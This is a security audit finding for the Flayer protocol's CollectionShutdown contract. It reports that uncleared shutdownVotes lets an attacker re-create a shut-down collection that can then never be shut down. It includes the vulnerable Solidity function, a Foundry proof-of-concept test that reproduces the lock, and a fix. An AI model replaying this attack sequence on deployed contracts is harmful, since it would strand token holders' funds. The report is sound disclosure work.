Skinny Pear Crane

High

# Attacker can create a collection which can not be shut down

## Summary
Issue High: Attacker can create a collection which can not be shut down.

## Vulnerability Detail

When a collection is shutdown, the `shutdownVotes` will not be cleared to zero. So a malicious user could re-create the same collection again which has been shut down before. And this collection can not be shut down since the `shutdownVotes` is not zero, while a new trigger to shut down the collection requires the `shutdownVotes` to be zero.

[CollectionShutdown](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157)

```solidity
    function start(address _collection) public whenNotPaused {
        // Confirm that this collection is not prevented from being shutdown
        if (shutdownPrevented[_collection]) revert ShutdownPrevented();

        // Ensure that a shutdown process is not already actioned
        CollectionShutdownParams memory params = _collectionParams[_collection];
        if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();

        // Get the total number of tokens still in circulation, specifying a maximum number
        // of tokens that can be present in a "dormant" collection.
        params.collectionToken = locker.collectionToken(_collection);
        uint totalSupply = params.collectionToken.totalSupply();
        if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();

        // Set our quorum vote requirement
        params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);

        // Notify that we are processing a shutdown
        emit CollectionShutdownStarted(_collection);

        // Cast our vote from the user
        _collectionParams[_collection] = _vote(_collection, params);
    }
```


## Proof of Concept

Add this poc in `flayer/test/utils/CollectionShutdown.t.sol`:

```solidity
    function test_cannotShutDown_bug_poc() public {
        assertEq(collectionToken.totalSupply(),0);

        vm.startPrank(address(locker));
        collectionToken.mint(address(1), 1 ether);
        collectionToken.mint(address(this), 1 ether);
        vm.stopPrank();

        assertEq(collectionToken.totalSupply(),2 ether);

        // Start our vote from address(1)
        vm.startPrank(address(1));
        collectionToken.approve(address(collectionShutdown), 1 ether);
        collectionShutdown.start(address(erc721b));
        vm.stopPrank();


        // Make a vote with our test user that holds `1 ether`, which will pass quorum
        collectionShutdown.vote(address(erc721b));

        // Mint NFTs into our collection {Locker} and process the execution
        uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
        collectionShutdown.execute(address(erc721b), tokenIds);

        // Mock the process of the Sudoswap pool liquidating the NFTs for ETH. This will
        // provide 0.5 ETH <-> 1 {CollectionToken}.
        _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether);


        // Our voting user(s) should now be able to claim their fair share. This will test
        // both our test contract claiming, as well as our test contract claiming on behalf
        // of `address(1)` whom also voted.
        collectionShutdown.claim(address(erc721b), payable(address(this)));
        collectionShutdown.claim(address(erc721b), payable(address(1)));

        

        //re-create 
        locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
        // Initialize our collection, without inflating `totalSupply` of the {CollectionToken}
        locker.setInitialized(address(erc721b), true);
        
        ICollectionToken collectionToken2 = locker.collectionToken(address(erc721b));

        vm.startPrank(address(locker));
        collectionToken2.mint(address(1), 1 ether);
        collectionToken2.mint(address(this), 1 ether);
        vm.stopPrank();


        vm.startPrank(address(1));
        collectionToken2.approve(address(collectionShutdown), 1 ether);
        //collection can not be shut down
        vm.expectRevert();
        collectionShutdown.start(address(erc721b));
        vm.stopPrank();

    }
```



## Impact
When a collection is illiquid, and we have a disperate number of tokens spread across multiple users, a pool has the potential to become unusable. Therefore, if collections can not be shut down, the ETH value of the remaining assets can not be dispersed to the dust token holders.

## Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157

## Tool used
Manual Review

## Recommendation

Reset the `shutdownVotes` to be zero after the collection is shut down.
